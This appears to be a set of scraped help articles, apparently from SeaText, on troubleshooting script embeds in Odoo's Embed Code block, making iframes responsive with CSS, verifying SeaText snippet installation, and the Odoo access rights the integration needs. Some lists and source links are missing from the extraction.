When you paste a script into Odoo's Embed Code module, small mistakes can break your website. The most common errors are using HTTP instead of HTTPS, missing closing tags, forgetting to load required libraries, placing the code in the wrong block type, and not hiding the block on desktop. Each of these has a simple fix.
After pasting a script, you might see one of these signs:
Start with the browser's developer console (F12). Look for red error messages. Common ones include “Uncaught SyntaxError”, “Failed to load resource”, or “Mixed Content”.
Next, check the Embed Code block itself. In Odoo’s editor, click the block and choose “Edit”. Verify the pasted code is complete and has not been truncated or altered by Odoo’s HTML validator.
Finally, test the page in an incognito window to rule out caching issues.
Odoo sites run on HTTPS. If your script loads an external resource over HTTP, browsers block it as mixed content. Fix: change all URLs in the script to HTTPS or use protocol-relative URLs (//example.com/file.js).
Odoo’s editor validates HTML against a strict XML standard. A missing closing tag can break the entire page. Fix: always paste well-formed HTML. Use a validator like W3C Markup Validation Service before pasting.
Many scripts depend on libraries like jQuery or Font Awesome. If those libraries are not already loaded on your Odoo site, the script fails. Fix: load the library first, either by adding it in the same embed block or using Odoo’s custom code fields.
Odoo has an “Embed Code” block under Dynamic Content. Some users accidentally use a text block or a custom HTML block. The Embed Code block is designed for scripts and iframes. Fix: drag the exact “Embed Code” block onto your page.
Some scripts, like tracking codes, should be invisible. If you leave the block visible, it might show an empty space or a raw code snippet. Fix: in the block’s visibility settings, select “Hide on Desktop” (and other devices as needed).
Besides the Embed Code block, you have two other methods:
The Embed Code block is best for page‑specific scripts (a single widget, a tracking pixel for one page). The Custom Code field is better for site‑wide scripts.
<script>...</script>).| Mistake | Symptom | Fix |
|---|---|---|
| HTTP resource | Mixed content warning, script blocked | Change to HTTPS |
| Missing closing tag | Page breaks, blocks cannot be edited | Validate HTML, use proper tag closure |
| Missing library dependency | Script runs but nothing happens | Include library script before the dependent code |
| Wrong block type | Script appears as text or doesn’t execute | Use the Embed Code block from Dynamic Content |
| Block visible on desktop | Empty space or raw code displayed | Enable “Hide on Desktop” in visibility settings |
Chat widgets often require a script in the <head> and a div in the <body>. The Embed Code block can only hold one piece of code. For a widget that needs two parts, use the Custom Code field for the head script and the Embed Code block for the body div. Or use a single script that self‑contains both.
Use the iframe provided by YouTube. Paste it into the Embed Code block. Make sure the iframe URL uses HTTPS. If the video does not appear, check that the block is not hidden.
The Embed Code block is designed for short, self‑contained snippets. It is not suitable for:
If your script continues to fail after following these steps, try a different method or consult Odoo’s forum for version‑specific issues.
Usually a missing closing tag or malformed HTML. Odoo’s strict XML validator rejects the code and breaks the page. Remove the script and use a validator.
Yes, but keep them well‑formed. Separate each script with proper tags. If one script breaks, the whole block may fail.
Use the Custom Code field under Website → Configuration → Websites → Custom Code. Paste the script in the “Custom code” or “Custom end of code” field.
Yes, but wrap it in <style>...</style> tags. Ensure no syntax errors.
Make sure you are using the Website editor on a page. In Odoo 16 and later, it is under “Dynamic Content”. If missing, check your Odoo version or theme.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: To make an iframe responsive in Odoo, wrap it in a container div with a set aspect ratio using CSS, or apply width: 100% directly to the iframe tag. This ensures content scales fluidly across mobile and desktop screens. Use the CSS aspect-ratio property for simpler code, avoid fixed pixel dimensions, and test in Odoo's mobile preview.
Embedding content like maps, forms, or external widgets into Odoo often results in fixed-width elements that break your mobile layout. To fix this, you must move away from hardcoded pixel dimensions and use CSS to force the iframe to adapt to its parent container. This guide explains the mechanics, compares sizing methods, and covers troubleshooting for common Odoo embed issues.
<div class="responsive-iframe-container">
<iframe src="YOUR_URL"></iframe>
</div>.responsive-iframe-container {
position: relative;
width: 100%;
padding-bottom: 56.25%; /* 16:9 Aspect Ratio */
height: 0;
}
.responsive-iframe-container iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}aspect-ratio property:.responsive-iframe-container {
aspect-ratio: 16 / 9;
}
.responsive-iframe-container iframe {
width: 100%;
height: 100%;
}Ignoring responsiveness leads to horizontal scrolling on mobile devices, which negatively impacts user experience and SEO rankings. When an iframe is fixed at 800px wide, mobile users must pan left and right to see the content, often causing them to abandon the page entirely. Google uses mobile-first indexing, so a broken mobile layout can hurt your visibility in search results. A responsive iframe keeps the page usable, reduces bounce risk, and preserves the professional appearance of embedded content.
Fixed sizing uses pixel or fixed-unit attributes on the iframe, such as width="800" height="600". This is simple to set up, but it never changes with the screen. On a 375px phone screen, the iframe overflows the viewport. On a 1920px desktop monitor, the iframe may look small or misaligned.
Fluid sizing lets the iframe fill its container. The container width responds to the screen, and the iframe height follows the aspect ratio. This approach works across phones, tablets, and desktops without extra media queries.
Use fluid sizing for almost all Odoo embeds. It is more robust and easier to maintain. Fixed sizing is only reasonable for internal tools where the viewing device is known, such as an admin dashboard on a desktop-only workstation. Even then, a fluid container with a max-width is often safer.
Here is a quick comparison of the two methods:
| Criteria | Fixed iframe sizing | Fluid iframe sizing |
|---|---|---|
| Mobile display | Causes horizontal scrolling | Scales to screen width |
| Code complexity | Simple, static attributes | Requires CSS wrapper or aspect-ratio rule |
| Maintenance | Update pixels for each breakpoint | Single CSS rule |
| Best for | Known desktop-only contexts | Public Odoo pages and responsive themes |
Modern browsers support the CSS aspect-ratio property. It lets you define the width-to-height relationship of an element without using padding tricks. For a typical 16:9 video embed, write aspect-ratio: 16 / 9. For a 4:3 map, write aspect-ratio: 4 / 3.
This property reduces CSS clutter. You no longer need position: relative, height: 0, or padding-bottom. The browser calculates the height automatically when the container width changes.
Example for a responsive Google Maps embed:
.responsive-iframe-container {
aspect-ratio: 16 / 9;
}
.responsive-iframe-container iframe {
width: 100%;
height: 100%;
}Check your target browser support before relying on aspect-ratio. Most current Chrome, Safari, Firefox, and Edge versions support it. If you need to support older browsers, keep the padding-bottom fallback in your CSS. You can also use both rules together: define the padding-bottom fallback first, then add aspect-ratio for browsers that understand it.
Besides the wrapper method, you can use these alternative approaches in Odoo.
Set width="100%" directly on the iframe tag. This makes the iframe stretch to its parent block. The height still needs attention, but a fixed height is acceptable for some short embeds like a small newsletter form. Example:
<iframe src="https://example.com/form" width="100%" height="400"></iframe>This is quick, but the aspect ratio is not preserved automatically. If the width changes, the height stays the same. Use it only when the embedded content has a flexible height.
If the embedded document can send messages, you can use the postMessage API. The parent page listens for a message containing the content height, then updates the iframe height dynamically. This works well for forms or widgets with changing content, but it requires access to the embedded page's code. Many third-party services do not allow this. Check the vendor documentation for postMessage support. For most Odoo users, the CSS methods above are simpler and more reliable.
You can attach Odoo's built-in utility classes to your embed block. For example, container-fluid makes the block full-width relative to its section. Combine it with your own custom class to control aspect ratio. The exact CSS classes available depend on your Odoo theme and version. Inspect the page with your browser's developer tools to see which classes are already applied to the embed block.
width="800" or height="600" attributes inside the iframe tag, as these override CSS scaling. Remove them or replace them with width="100%".X-Frame-Options or a Content Security Policy that blocks embedding. You cannot fix this with CSS alone. Contact the source site or find a different embed method.width: 100%; max-width: 100%; overflow: hidden; as a temporary diagnostic step.Every iframe creates a separate browser request to an external server. Too many iframes can slow down your page and hurt Core Web Vitals. Lazy loading helps: add loading="lazy" to the iframe tag when the content is below the fold. This tells the browser to wait until the user scrolls near it.
Set title attributes on iframes for accessibility. A descriptive title helps screen reader users understand the embedded content. Accessibility also improves the overall user experience.
Consider the source provider's server speed. If you embed a slow third-party map or form, the user waits for that external resource. Choose providers with reliable hosting. When possible, replace heavy external widgets with static images or lightweight links on mobile. This is not always possible, but it can improve load times.
Yes, the Embed Code block and the ability to add custom CSS via the editor are standard features available in both editions.
Yes, this CSS wrapper method is the standard way to make Google Maps embeds responsive within the Odoo website builder.
Adjust the padding-bottom percentage or the aspect-ratio value. For example, use 75% or 4 / 3 for a 4:3 ratio, or 100% or 1 / 1 for a square.
There is no hard limit, but excessive use of iframes can slow down page load times. Each iframe requires a separate request to the external server.
No, this is a front-end styling task that can be handled entirely through the built-in Odoo website editor.
That usually means the iframe has a fixed pixel width. Replace it with a fluid container or set width: 100% on the iframe.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Check that the SeaText JavaScript snippet is correctly placed in Odoo's Embed Code module and appears in your live page source. There is no dashboard status indicator. The AI remains inactive until you activate agents.
To confirm the SeaText connection on Odoo, open the website editor, locate the 'Embed Code' module under 'Dynamic Content', and verify the SeaText JavaScript snippet is still present. Then view your live page source and search for the same snippet. If both are present, the script is loaded and ready to be activated.
Verifying the connection ensures SeaText can run on your site. Without a correct installation, agents cannot work. A broken connection means lost personalization, translation, and CRO features. It also prevents ad matching and bot protection.
Checking early saves time. You can fix issues before launching campaigns. It also helps when troubleshooting performance or content changes.
Odoo uses a drag-and-drop block system. The Embed Code module lives under Dynamic Content. You drag it onto your page. Then you paste the SeaText JavaScript snippet into a pop-up window.
After saving, the module is hidden from desktop visitors. This is done by selecting Hide on Desktop in the Visibility section. The script still loads on the page. It stays invisible but active.
The code is a single snippet. It loads the SeaText agent framework. You can find it in your SeaText account under the integration section. The snippet is unique to your account.
SeaText AI does not change content automatically. It stays inert until you activate agents. This means installing the script alone does not alter your site.
You must log into SeaText and turn on the agents you want. For example, the Google Ads Agent or Translation Agent. Only then does the script start making changes.
This design protects your site. You can install the script now and activate agents later. It also allows testing without live changes.
One primary URL per account. Each SeaText account is linked to a single domain. If you need SeaText on multiple domains, you must create separate accounts. Each account gets its own script snippet.
No localhost or development domains. SeaText blocks localhost URLs for security. Dynamic development domains may not work either. The script cannot reliably associate traffic with your account on those domains. Use a real, valid domain.
Domain changes require a new account. If you change your primary domain, create a new account. Do not reuse the old script on a different domain.
If you switch your Odoo domain, the SeaText connection breaks. The old script is tied to the old URL. You must create a new SeaText account for the new domain. Then install the new script on the new site.
Verify the new script in the Embed Code module. Check the live page source. Also confirm that the original domain is no longer using the old script. This prevents double-loading.
Can I use the same SeaText account for my staging site?
No. Staging domains are development domains. They are restricted. Use a separate account for production only.
What if I cannot find the Embed Code module?
Make sure you are editing the correct page. The module is under 'Dynamic Content' in the blocks panel. If missing, check your Odoo version. Some themes may hide it.
Does the script slow down my site?
No. The script is lightweight and loads asynchronously. It does not block page rendering.
How do I know agents are working?
After activation, visit your site and look for content changes. For example, translated text or personalized headlines. You can also test by using a different device or incognito window.
What if the script is missing from page source?
Revisit the Embed Code module. Ensure the snippet is complete. Also check for ad blockers or browser extensions that may block the script. Test in incognito mode.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: To show your website name via SeaText, the Odoo user account used for the integration must have the access rights that allow editing the Website module. These rights are documented in Odoo's access‑rights guide and are a prerequisite for the SeaText JavaScript snippet to read page metadata.
When you add SeaText to an Odoo website, the integration reads page metadata such as the site title, description, and language. Odoo only lets users with the appropriate access rights edit the Website module and insert custom code blocks. The Odoo documentation on access rights confirms that a user needs at least the Website Manager permission, which can be granted through the Administrator role or by assigning the specific Website Manager access group. SeaText itself does not enforce a particular Odoo role; it simply requires that the account used for the integration can edit the website and place the embed block.
www.example.com).SeaText works by inserting a small JavaScript snippet into the page. The snippet runs in the visitor’s browser and reads the HTML <title> tag, Open Graph meta tags, and any custom data‑seatext attributes that Odoo generates. If the user who adds the snippet cannot edit the website, the block will never be saved, and SeaText cannot read the metadata. In that case the integration appears broken and the site name stays hidden.
Because Odoo’s permission system is role‑based, a user without Website Manager rights will see a read‑only view of the page editor. The embed block will be greyed out, and attempts to paste the code will be rejected. This is why checking permissions early saves time.
Odoo defines access rights in groups. The most relevant groups for SeaText are:
The Odoo documentation (see the Access Rights pages for versions 16.0 and 19.0) states that the Website Manager group includes the website.editor permission, which is required to place custom JavaScript blocks. If you assign the Administrator role, the Website Manager rights are included automatically.
If you are not an administrator, request these changes from someone who has the Settings access right.
After these steps, SeaText will start reading the page metadata and display the website name in its AI‑generated content suggestions.
When the JavaScript runs, it looks for the following elements in the page’s <head> and body:
<title> is used as the primary site name.og:title meta tag exists, SeaText prefers it because it is often more marketing‑focused.data-seatext-site-name attributes to sections; SeaText reads these if present.lang attribute on the <html> element helps SeaText choose the correct language model.If any of these values are missing, SeaText falls back to the domain name, which may be less readable for visitors.
Correct permissions are necessary but not sufficient. SeaText also needs a publicly reachable domain that matches the one registered in your SeaText account. Development URLs such as localhost or temporary tunnels are blocked for security reasons. Additionally, the JavaScript must be placed exactly as described; moving it to a header template or a custom module can break the metadata reading process.
Symptom: The embed block does not appear after dragging it onto the page.
Cause: The current user lacks the website.editor permission.
Fix: Verify the user’s role in Settings > Users. Assign Website Manager or Administrator, then reload the editor.
Symptom: After saving, the block disappears and the page reverts to its previous state.
Cause: Odoo’s security rules prevent users without “Write” rights on the ir.ui.view model from storing custom blocks.
Fix: Grant the user the “Technical Settings” access right, or have an administrator perform the save.
Symptom: SeaText does not display the website name in its UI.
Cause: The page’s <title> tag is empty or overridden by a custom template.
Fix: Edit the page’s SEO settings (Website > Pages > Edit > SEO) and provide a clear title. Republish the page.
Symptom: “Permission denied” errors appear in the browser console.
Cause: The JavaScript tries to call Odoo’s internal API without proper authentication.
Fix: Ensure the SeaText account is linked to the same domain and that the snippet is the latest version from the SeaText dashboard.
No. You only need a user with the Website Manager permission, which can be granted via the Administrator role or as a separate group.
Ask your Odoo administrator to assign the Website Manager group to your account. The change takes effect after you log out and back in.
No. Portal users cannot access the Website editor, so the embed block cannot be saved.
Only the Embed Code block in the Dynamic Content section is recognized by Odoo. Placing the snippet elsewhere will prevent the integration from loading.
Only the user who performs the integration needs the Website Manager rights. Other users can keep their existing roles.
Log in, open any page in the Website app, and click the Edit button. If you can drag the Embed Code block onto the page, the permissions are sufficient.
Check that the SeaText account is active, the domain matches, and the JavaScript snippet is correctly placed. Also verify that the page’s <title> tag is populated. If the issue persists, contact SeaText support.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.